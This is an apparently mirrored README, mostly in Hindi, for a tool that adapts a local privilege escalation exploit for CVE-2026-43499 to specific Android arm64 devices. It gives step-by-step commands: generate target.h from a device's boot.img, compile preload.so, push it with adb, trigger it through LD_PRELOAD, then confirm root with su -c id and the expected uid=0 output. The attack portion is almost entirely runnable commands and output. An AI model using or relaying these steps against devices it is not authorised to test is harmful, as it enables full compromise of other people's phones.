Exploit for CVE-2026-43499-Poc-Analysis

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XIANWAN1314-CVE-2026-43499-POC-ANALYSIS
# CVE-2026-43499 Android arm64 स्थानीय विशेषाधिकार वृद्धि अनुकूलन

English | 中文

* * *

यह **CVE-2026-43499** के लिए एक Android arm64 स्थानीय विशेषाधिकार वृद्धि अनुकूलन प्रोजेक्ट है।

प्रोजेक्ट लक्ष्य डिवाइस के `boot.img` और profile जानकारी के आधार पर `target.h` उत्पन्न करता है, फिर संबंधित `preload.so` संकलित करता है।

> नोट: यह प्रोजेक्ट एक सामान्य अनुकूलन फ्रेमवर्क है, जो किसी एक विशिष्ट मॉडल से बंधा नहीं है। वास्तव में यह उपयोगी है या नहीं, यह इस बात पर निर्भर करता है कि `generate_target.py` सफलतापूर्वक `target.h` उत्पन्न कर पाता है या नहीं और वास्तविक डिवाइस परीक्षण के परिणामों पर।

* * *

## निर्देशिका संरचना

root@kitploit:~
    
    
    项目目录/
    ├── boot.img                  # 目标设备同固件 boot 镜像
    ├── profile_xxx.json           # 目标设备 profile
    ├── detect_offset.py           # 检测 profile 用
    ├── generate_target.py         # 生成 target.h
    ├── source/
    │   ├── Makefile
    │   └── src/
    │       └── target.h           # 自动生成
    └── source/build/bin/
        └── preload.so             # 编译产物
    

* * *

## आवश्यक निर्भरताएँ

### मूल निर्भरताएँ

root@kitploit:~
    
    
    Python 3
    LLVM / llvm-objdump
    Android NDK
    make
    adb
    

### Windows के लिए अनुशंसित वातावरण

Windows पर निम्नलिखित उपयोग करने की अनुशंसा की जाती है:

root@kitploit:~
    
    
    MSYS2 UCRT64
    Android NDK r29
    LLVM Windows x86_64
    

MSYS2 में make इंस्टॉल करें:

root@kitploit:~
    
    
    pacman -S make coreutils
    

* * *

## फ़ाइलें तैयार करना

आपको निम्नलिखित तैयार करने की आवश्यकता है:

root@kitploit:~
    
    
    boot.img
    profile_xxx.json
    

profile उदाहरण:

root@kitploit:~
    
    
    {
      "p0_phys_offset": "0x80000000",
      "p0_kernel_phys_load": "0xc7800000"
    }
    

profile में ये दो पते:

root@kitploit:~
    
    
    p0_phys_offset
    p0_kernel_phys_load
    

पहले से Root किए गए, और लक्ष्य boot.img के समान फर्मवेयर वाले फोन पर स्क्रिप्ट चलाकर प्राप्त किए जा सकते हैं:

root@kitploit:~
    
    
    python3 detect_offset.py
    

Windows पर भी:

root@kitploit:~
    
    
    python detect_offset.py
    

* * *

## उपयोग के चरण

### 1\. प्रोजेक्ट निर्देशिका में प्रवेश करें

Linux / macOS:

root@kitploit:~
    
    
    cd /path/to/project
    

Windows MSYS2 उदाहरण:

root@kitploit:~
    
    
    cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main
    

* * *

### 2\. NDK पथ सेट करें

Linux / macOS उदाहरण:

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=/path/to/android-ndk
    

Windows MSYS2 उदाहरण:

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
    

* * *

### 3\. target.h उत्पन्न करें

root@kitploit:~
    
    
    python3 generate_target.py \
      --boot boot.img \
      --profile profile_xxx.json \
      -o source/src/target.h
    

Windows पर यदि `python3` उपलब्ध नहीं है, तो उपयोग करें:

root@kitploit:~
    
    
    python generate_target.py \
      --boot boot.img \
      --profile profile_xxx.json \
      -o source/src/target.h
    

यदि `llvm-objdump` नहीं मिलने का संकेत मिले, तो पथ मैन्युअल रूप से निर्दिष्ट करें:

root@kitploit:~
    
    
    python generate_target.py \
      --boot boot.img \
      --profile profile_xxx.json \
      -o source/src/target.h \
      --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
    

सफल होने पर कुछ इस प्रकार दिखाई देगा:

root@kitploit:~
    
    
    生成成功: .../source/src/target.h
    kernel SHA-256: ...
    target macros: ...
    

* * *

### 4\. preload.so संकलित करें

Linux / macOS:

root@kitploit:~
    
    
    make -C source clean preload
    

Windows MSYS2:

root@kitploit:~
    
    
    make -C source clean preload NDK_PREBUILT=windows-x86_64
    

सफल होने पर निम्नलिखित उत्पन्न होगा:

root@kitploit:~
    
    
    source/build/bin/preload.so
    

* * *

### 5\. डिवाइस पर पुश करें और चलाएँ

root@kitploit:~
    
    
    adb push source/build/bin/preload.so /data/local/tmp/preload.so
    adb shell 'chmod 0644 /data/local/tmp/preload.so'
    adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
    

सत्यापन:

root@kitploit:~
    
    
    adb shell '/data/local/tmp/su -c id'
    

सफल होने पर आमतौर पर दिखाई देगा:

root@kitploit:~
    
    
    uid=0(root) gid=0(root)
    

* * *

## Windows MSYS2 एक-क्लिक प्रक्रिया

आपके पथ उदाहरण के अनुसार:

root@kitploit:~
    
    
    cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
    export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
    python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
    make -C source clean preload NDK_PREBUILT=windows-x86_64
    

अंतिम फ़ाइल:

root@kitploit:~
    
    
    source/build/bin/preload.so
    

* * *

## सामान्य समस्याएँ

### llvm-objdump नहीं मिल रहा

LLVM इंस्टॉल करें, या उपयोग करें:

root@kitploit:~
    
    
    --llvm-objdump "/path/to/llvm-objdump"
    

* * *

### make नहीं मिल रहा

Windows पर MSYS2 से इंस्टॉल करें:

root@kitploit:~
    
    
    pacman -S make coreutils
    

* * *

### clang नहीं मिल रहा

आमतौर पर NDK पथ सही से कॉन्फ़िगर नहीं किया गया है।

Windows MSYS2 उदाहरण:

root@kitploit:~
    
    
    export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
    make -C source clean preload NDK_PREBUILT=windows-x86_64
    

* * *

### target.h उत्पन्न करने में विफलता

आमतौर पर इसका मतलब है कि वर्तमान `boot.img` या कर्नेल लेआउट अभी तक सफलतापूर्वक अनुकूलित नहीं हुआ है।

मुख्य रूप से जाँचें:

root@kitploit:~
    
    
    boot.img 是否完整
    profile 是否正确
    llvm-objdump 是否可用
    内核是否有 IKCONFIG / kallsyms / BTF
    

* * *

## नोट

  * डिवाइस, सिस्टम या कर्नेल बदलने के बाद `target.h` को पुनः उत्पन्न करना आवश्यक है।
  * `target.h` को मैन्युअल रूप से संपादित करने की अनुशंसा नहीं की जाती है; इसे `generate_target.py` द्वारा स्वचालित रूप से उत्पन्न किया जाना चाहिए।
  * कृपया केवल उन्हीं डिवाइसों और वातावरणों में उपयोग करें जिनके लिए आपके पास अधिकार है।